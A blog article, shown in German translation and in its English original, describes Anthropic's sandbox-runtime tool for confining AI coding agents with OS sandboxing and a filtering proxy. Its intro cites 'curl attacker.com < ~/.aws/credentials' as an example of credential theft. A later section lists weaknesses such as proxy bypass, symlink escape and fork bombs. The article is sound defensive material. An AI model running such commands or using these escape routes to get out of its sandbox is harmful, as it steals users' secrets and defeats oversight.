Anthropic bringt Sandbox-Runtime: Agenten isolieren ohne Container
Anthropic hat sandbox-runtime als Beta für Claude Code veröffentlicht. Das Tool nutzt native Sandbox-Mechanismen des Betriebssystems, damit Agenten Code ausführen können, ohne Zugriff auf SSH-Schlüssel oder Kommunikation mit fremden Servern zu erhalten.
Veröffentlicht am 25. Okt. • Zuerst erschienen auf mech.app
Anthropic hat sandbox-runtime als Beta-Forschungsvorschau für Claude Code veröffentlicht. Das Tool löst ein konkretes Problem: Wie lässt sich einem Agenten erlauben, beliebigen Code auszuführen, ohne dass er Ihre SSH-Schlüssel lesen oder sich mit von Angreifern kontrollierten Domains verbinden kann?
Das Tool nutzt native Sandbox-Primitiven des Betriebssystems (sandbox-exec auf macOS, bubblewrap auf Linux) sowie netzwerkseitige Filterung über einen Proxy. Keine Container. Keine VMs. Nur Syscall-Abfangen und Policy-Durchsetzung an der Prozessgrenze.
Es steht derzeit auf Platz 5 der GitHub-Trendingliste für TypeScript mit 6.591 Sternen, weil jede produktive Agenten-Deployment vor derselben Frage steht: Was passiert, wenn das LLM beschließt, curl attacker.com < ~/.aws/credentials auszuführen?
Sandbox-runtime umschließt einen Zielprozess mit Einschränkungen auf Betriebssystemebene. Unter macOS ruft es sandbox-exec mit einem kompilierten Sandbox-Profil auf. Unter Linux verwendet es bubblewrap, um einen eingeschränkten Namespace zu erstellen. Beide Mechanismen intercepten Syscalls und setzen die Policy durch, bevor der Kernel den Zugriff gewährt.
Die Netzwerkschicht funktioniert anders. Statt Syscall-Interception betreibt sandbox-runtime einen lokalen HTTP/HTTPS-Proxy. Die Sandbox-Policy erzwingt, dass der gesamte Netzwerkverkehr durch diesen Proxy läuft, der Anfragen gegen eine Allowlist prüft. Blockierte Domains führen zu Verbindungsfehlern. Erlaubte Domains werden durchgelassen.
Dateisystembeschränkungen greifen auf Pfadebene. Sie legen Lese- und Schreibberechtigungen für Verzeichnisse und einzelne Dateien fest. Die OS-Sandbox setzt diese Regeln durch. Zugriffsversuche auf eingeschränkte Pfade geben EPERM (Operation not permitted) zurück.
Der Zugriff auf Unix-Sockets wird separat gesteuert. Sie können bestimmte Socket-Pfade erlauben (etwa Dockers /var/run/docker.sock) oder die gesamte IPC blockieren.
Die macOS- und Linux-Implementierungen unterscheiden sich in Ausdruckskraft und Beobachtbarkeit.
Die Lücke bei der Verstoßüberwachung unter Linux ist erheblich. Unter macOS erhalten Sie, wenn ein Agent versucht, /etc/passwd zu lesen, sofort einen Logeintrag mit Prozess-ID, Pfad und Zeitstempel. Unter Linux schlägt der Lesevorgang fehl, aber Sie erfahren es nur, wenn Sie den Prozess bereits tracen.
Die Netzwerk-Allowlist wird von einem lokalen HTTP/HTTPS-Proxy durchgesetzt. Die Sandbox-Policy leitet den gesamten HTTP-Verkehr an 127.0.0.1:PORT. Der Proxy prüft die Zieldomain gegen die Allowlist, bevor er weiterleitet.
Bei HTTPS baut der Proxy einen CONNECT-Tunnel auf. Er inspiziert die SNI (Server Name Indication) im TLS-Handshake, um den Hostnamen zu extrahieren, und wendet dann die Allowlist an. Der Proxy entschlüsselt den Verkehr nicht. Er sieht nur das Ziel.
Nicht-HTTP-Protokolle (SSH, Datenbankverbindungen, rohes TCP) werden standardmäßig blockiert, sofern Sie das Ziel nicht explizit in der Netzwerk-Policy erlauben. Der Proxy kann diese Protokolle nicht inspizieren, daher basiert die Allowlist auf IP-Adressen.
{ "allowedDomains": [ "anthropic.com", "*.github.com" ], "allowedIPs": [ "192.168.1.100" ] } Vollbildmodus öffnen Vollbildmodus schließen Dies erlaubt HTTP/HTTPS zu anthropic.com und jeder GitHub-Subdomain sowie rohes TCP zu 192.168.1.100. Alles andere wird blockiert.
Ein häufiger Anwendungsfall ist das Umschließen von Model Context Protocol Servern. MCP-Server stellen Agenten Werkzeuge bereit (Dateisystemzugriff, Datenbankabfragen, API-Aufrufe). Ohne Sandboxing kann ein kompromittierter oder fehlerhafter Agent diese Werkzeuge missbrauchen.
{ "mcpServers": { "filesystem": { "command": "npx", "args": [ "-y", "@modelcontextprotocol/server-filesystem" ] } } } Vollbildmodus öffnen Vollbildmodus schließen G sandboxete Version:
{ "mcpServers": { "filesystem": { "command": "srt", "args": [ "--allow-read", "/workspace", "--allow-write", "/workspace/output", "--network-allowlist", "api.internal.com", "npx", "-y", "@modelcontextprotocol/server-filesystem" ] } } } Vollbildmodus öffnen Vollbildmodus schließen Jetzt kann der MCP-Server nur /workspace lesen, nach /workspace/output schreiben und Netzwerkanfragen an api.internal.com stellen. Versuche, auf /etc/passwd zuzugreifen oder curl attacker.com auszuführen, scheitern auf Betriebssystemebene.
Die macOS-Implementierung enthält einen Verstoßmonitor, der das System-Sandbox-Log verfolgt. Wenn ein sandboxeter Prozess eine blockierte Operation versucht, schreibt der Kernel einen Eintrag nach /var/log/system.log (oder in das Unified Logging System auf neueren macOS-Versionen).
Der Monitor parst diese Einträge in Echtzeit und gibt strukturierte Ereignisse aus:
{ " type ": " violation ", " pid ": 12345, " operation ": " file-read ", " path ": " /Users/user/.ssh/id_rsa ", " timestamp ": " 2026-10-25T20:05:42Z " } Vollbildmodus öffnen Vollbildmodus schließen Dies ist entscheidend für das Debugging von Agentenverhalten. Sie sehen genau, was der Agent versucht hat und warum es fehlgeschlagen ist. Unter Linux sehen Sie den Fehler nur in der Standardfehlerausgabe des Agenten (sofern er Fehler überhaupt protokolliert).
Sandbox-runtime ist zustandslos. Jeder Aufruf erstellt eine neue Sandbox, führt den Befehl aus und beendet sich. Es gibt keinen Daemon, keinen persistenten Zustand und keine erforderliche Bereinigung.
Die Sandbox-Policy wird zur Laufzeit aus den CLI-Flags oder der Konfigurationsdatei kompiliert. Unter macOS erzeugt dies ein SBPL-Profil, das an sandbox-exec übergeben wird. Unter Linux wird es in bubblewrap-Flags übersetzt.
Der sandboxete Prozess erbt die Umgebungsvariablen und das Arbeitsverzeichnis des Elternprozesses, sofern Sie diese nicht überschreiben. Das macht es einfach, bestehende Workflows zu integrieren: Setzen Sie Ihrem Befehl einfach srt voran.
Exit-Codes werden durchgereicht. Beendet sich der sandboxete Befehl mit Code 1, beendet sich srt ebenfalls mit Code 1. Damit bleiben die Semantiken des Shell-Scriptings erhalten.
Proxy-Umgehung: Kann der sandboxete Prozess sich direkt an eine Netzwerkschnittstelle binden (weil Sie die Netzwerk-Namespaces nicht eng genug eingeschränkt haben), kann er den Proxy umgehen. Verwenden Sie unter Linux immer --unshare-net, um den Netzwerk-Namespace zu isolieren.
Dateisystem-Flucht: Symlinks können die Sandbox verlassen, wenn Sie Schreibzugriff auf ein Verzeichnis gewähren, das Symlinks enthält, die außerhalb der erlaubten Pfade zeigen. Das Betriebssystem folgt dem Symlink und setzt die Policy auf dem Ziel durch, aber wenn der Symlink beschreibbar ist, kann ein Angreifer ihn umleiten.
Ressourcenerschöpfung: Die Sandbox setzt keine CPU-, Speicher- oder Disk-Quoten durch. Ein sandboxeter Prozess kann weiterhin Fork-Bomben zünden, den gesamten verfügbaren RAM belegen oder die Festplatte füllen. Nutzen Sie cgroups (Linux) oder launchd-Limits (macOS) für die Ressourcenkontrolle.
Verstoß-Log-Flut: Unter macOS kann ein sich fehlerhaft verhaltender Prozess Tausende von Verstoß-Logeinträgen pro Sekunde erzeugen. Der Monitor puffert diese im Speicher. Ist der Puffer voll, werden ältere Einträge verworfen. Für Szenarien mit hohem Aufkommen benötigen Sie eine externe Log-Aggregation.
Syscall-Interception verursacht Latenz. Unter macOS fügt sandbox-exec pro Syscall etwa 5 bis 10 Mikrosekunden hinzu. Unter Linux ist der Namespace-Overhead von bubblewrap ähnlich, variiert jedoch je nach Kernel-Version.
Der Proxy fügt jede HTTP-Anfrage um eine RTT (Round-Trip-Time) hinzu: Der sandboxete Prozess verbindet sich mit dem Proxy, der Proxy prüft die Allowlist, dann verbindet sich der Proxy mit dem Ziel. Bei localhost-Verbindungen ist das vernachlässigbar. Bei entfernten APIs ist es Nebensache im Vergleich zur Netzwerklatenz.
Dateisystemoperationen sind der Flaschenhals. Wenn Ihr Agent Tausende kleiner Dateien liest, summiert sich der Overhead pro Syscall. Batch-Operationen (etwa das Einlesen eines Verzeichnisbaums in den Speicher) sind schneller als einzelne Datei-Lesevorgänge.
Container (Docker, Podman) bieten stärkere Isolation, aber höheren Overhead. Sie benötigen eine Container-Runtime, Image-Layer und Netzwerk-Bridging. Die Startzeit liegt bei Hunderten von Millisekunden. Der Speicherbedarf liegt im Gigabyte-Bereich.
Sandbox-runtime startet in Millisekunden und verbraucht keinen Speicherplatz. Der Kompromiss ist eine schwächere Isolation. Ein Kernel-Exploit im sandboxeten Prozess kann zum Host durchbrechen. Container fügen eine Hypervisor- oder seccomp-bpf-Schicht hinzu, die den Ausbruch erschwert.
Sandbox-runtime ist ein scharfes Werkzeug für eine bestimmte Aufgabe: die Durchsetzung von Least-Privilege bei Agentenprozessen ohne den Overhead von Containern. Es eignet sich ideal für lokale Entwicklung, CI-Pipelines und Single-Tenant-Agenten-Deployments, bei denen Sie den Host kontrollieren.
Die macOS-Implementierung ist ausgereifter. Echtzeit-Verstoßüberwachung und feingranulare SBPL-Policies machen das Debugging unkompliziert. Die Linux-Implementierung funktioniert, bietet aber kaum Beobachtbarkeit. Sie müssen eigene Logging- und Tracing-Lösungen hinzufügen.
Vermeiden Sie dies, wenn Sie nicht vertrauenswürdigen Code aus dem Internet ausführen oder Multi-Tenant-Isolation benötigen. Die OS-Sandbox ist keine Sicherheitsgrenze gegen entschlossene Angreifer. Sie ist ein Schutzschild, um Unfälle zu verhindern und den Schadensradius einzuschränken.
Die proxy-basierte Netzwerkfilterung ist clever, aber fragil. Sie funktioniert nur für HTTP/HTTPS und erfordert sorgfältige Konfiguration, um Umgehungen zu vermeiden. Wenn Ihr Agent sich mit Datenbanken, Message Queues oder anderen Nicht-HTTP-Diensten verbinden muss, benötigen Sie IP-basierte Allowlists und enge Namespace-Isolation.
Für produktive Agenten-Deployments kombinieren Sie sandbox-runtime mit weiteren Schichten: Betreiben Sie es zur Defense-in-Depth innerhalb einer VM oder eines Containers, ergänzen Sie Ressourcenlimits über cgroups und leiten Sie Verstoß-Logs an ein SIEM zur Anomalieerkennung weiter.
Automatisch übersetzt. Das Original auf Englisch ist unten aufklappbar.
Original (Englisch) anzeigen
Posted on Oct 25 • Originally published at mech.app
Anthropic released sandbox-runtime as a beta research preview for Claude Code. It addresses a specific problem: how do you let an agent execute arbitrary code without letting it read your SSH keys or phone home to attacker-controlled domains?
The tool uses native OS sandboxing primitives (sandbox-exec on macOS, bubblewrap on Linux) plus proxy-based network filtering. No containers. No VMs. Just syscall interception and policy enforcement at the process boundary.
It's trending at #5 on GitHub TypeScript with 6,591 stars because every production agent deployment faces the same question: what happens when the LLM decides to run curl attacker.com < ~/.aws/credentials?
Sandbox-runtime wraps a target process with OS-level restrictions. On macOS it invokes sandbox-exec with a compiled sandbox profile. On Linux it uses bubblewrap to create a restricted namespace. Both mechanisms intercept syscalls and enforce policy before the kernel grants access.
The network layer is different. Instead of syscall interception, sandbox-runtime runs a local HTTP/HTTPS proxy. The sandbox policy forces all network traffic through this proxy, which checks requests against an allowlist. Blocked domains return connection errors. Allowed domains pass through.
Filesystem restrictions work at the path level. You specify read/write permissions for directories and individual files. The OS sandbox enforces these rules. Attempts to access restricted paths return EPERM (Operation not permitted).
Unix socket access is controlled separately. You can allow specific socket paths (like Docker's /var/run/docker.sock ) or block all IPC.
The macOS and Linux implementations differ in expressiveness and observability.
The violation monitoring gap on Linux is significant. On macOS, if an agent tries to read /etc/passwd, you get an immediate log entry with the process ID, path, and timestamp. On Linux, the read fails but you won't know unless you're already tracing the process.
The network allowlist is enforced by a local HTTP/HTTPS proxy. The sandbox policy routes all HTTP traffic to 127.0.0.1:PORT. The proxy checks the target domain against the allowlist before forwarding.
For HTTPS, the proxy performs a CONNECT tunnel. It inspects the SNI (Server Name Indication) in the TLS handshake to extract the hostname, then applies the allowlist. The proxy does not decrypt traffic. It only sees the destination.
Non-HTTP protocols (SSH, database connections, raw TCP) are blocked by default unless you explicitly allow the destination in the network policy. The proxy cannot inspect these protocols, so the allowlist is IP-based.
{ "allowedDomains": [ "anthropic.com", "*.github.com" ], "allowedIPs": [ "192.168.1.100" ] } Enter fullscreen mode Exit fullscreen mode This allows HTTP/HTTPS to anthropic.com and any GitHub subdomain, plus raw TCP to 192.168.1.100. Everything else is blocked.
A common use case is wrapping Model Context Protocol servers. MCP servers expose tools to agents (filesystem access, database queries, API calls). Without sandboxing, a compromised or misbehaving agent can abuse these tools.
{ "mcpServers": { "filesystem": { "command": "npx", "args": [ "-y", "@modelcontextprotocol/server-filesystem" ] } } } Enter fullscreen mode Exit fullscreen mode Sandboxed version:
{ "mcpServers": { "filesystem": { "command": "srt", "args": [ "--allow-read", "/workspace", "--allow-write", "/workspace/output", "--network-allowlist", "api.internal.com", "npx", "-y", "@modelcontextprotocol/server-filesystem" ] } } } Enter fullscreen mode Exit fullscreen mode Now the MCP server can only read /workspace, write to /workspace/output, and make network requests to api.internal.com. Attempts to access /etc/passwd or curl attacker.com fail at the OS level.
The macOS implementation includes a violation monitor that tails the system sandbox log. When a sandboxed process attempts a blocked operation, the kernel writes an entry to /var/log/system.log (or the unified logging system on newer macOS versions).
The monitor parses these entries in real-time and emits structured events:
{ " type ": " violation ", " pid ": 12345, " operation ": " file-read ", " path ": " /Users/user/.ssh/id_rsa ", " timestamp ": " 2026-10-25T20:05:42Z " } Enter fullscreen mode Exit fullscreen mode This is critical for debugging agent behavior. You can see exactly what the agent tried to do and why it failed. On Linux, you only see the failure in the agent's stderr (if it logs errors at all).
Sandbox-runtime is stateless. Each invocation creates a new sandbox, runs the command, and exits. There's no daemon, no persistent state, no cleanup required.
The sandbox policy is compiled at runtime from the CLI flags or config file. On macOS, this generates an SBPL profile and passes it to sandbox-exec. On Linux, it translates to bubblewrap flags.
The sandboxed process inherits the parent's environment variables and working directory unless you override them. This makes it easy to drop into existing workflows: just prefix your command with srt.
Exit codes pass through. If the sandboxed command exits with code 1, srt exits with code 1. This preserves shell scripting semantics.
Proxy bypass: If the sandboxed process can bind to a network interface directly (because you didn't restrict network namespaces tightly enough), it can bypass the proxy. On Linux, always use --unshare-net to isolate the network namespace.
Filesystem escape: Symlinks can escape the sandbox if you allow write access to a directory that contains symlinks pointing outside the allowed paths. The OS follows the symlink and enforces policy on the target, but if the symlink is writable, an attacker can redirect it.
Resource exhaustion: The sandbox does not enforce CPU, memory, or disk quotas. A sandboxed process can still fork-bomb, allocate all available RAM, or fill the disk. Use cgroups (Linux) or launchd limits (macOS) for resource control.
Violation log flooding: On macOS, a misbehaving process can generate thousands of violation log entries per second. The monitor buffers these in memory. If the buffer fills, older entries are dropped. You need external log aggregation for high-volume scenarios.
Syscall interception adds latency. On macOS, sandbox-exec adds roughly 5-10 microseconds per syscall. On Linux, bubblewrap's namespace overhead is similar but varies by kernel version.
The proxy adds one RTT (round-trip time) to every HTTP request: the sandboxed process connects to the proxy, the proxy checks the allowlist, then the proxy connects to the target. For localhost connections this is negligible. For remote APIs it's noise compared to network latency.
Filesystem operations are the bottleneck. If your agent reads thousands of small files, the per-syscall overhead compounds. Batch operations (like reading a directory tree into memory) are faster than individual file reads.
Containers (Docker, Podman) provide stronger isolation but higher overhead. You need a container runtime, image layers, and network bridging. Startup time is hundreds of milliseconds. Disk usage is gigabytes.
Sandbox-runtime starts in milliseconds and uses zero disk space. The tradeoff is weaker isolation. A kernel exploit in the sandboxed process can escape to the host. Containers add a hypervisor or seccomp-bpf layer that makes escape harder.
Sandbox-runtime is a sharp tool for a specific job: enforcing least-privilege on agent processes without the overhead of containers. It's ideal for local development, CI pipelines, and single-tenant agent deployments where you control the host.
The macOS implementation is more mature. Real-time violation monitoring and fine-grained SBPL policies make debugging straightforward. The Linux implementation works but lacks observability. You'll need to add your own logging and tracing.
Avoid this if you're running untrusted code from the internet or need multi-tenant isolation. The OS-level sandbox is not a security boundary against determined attackers. It's a guardrail to prevent accidents and limit blast radius.
The proxy-based network filtering is clever but fragile. It only works for HTTP/HTTPS and requires careful configuration to avoid bypasses. If your agent needs to connect to databases, message queues, or other non-HTTP services, you'll need IP-based allowlists and tight namespace isolation.
For production agent deployments, combine sandbox-runtime with other layers: run it inside a VM or container for defense-in-depth, add resource limits via cgroups, and ship violation logs to a SIEM for anomaly detection.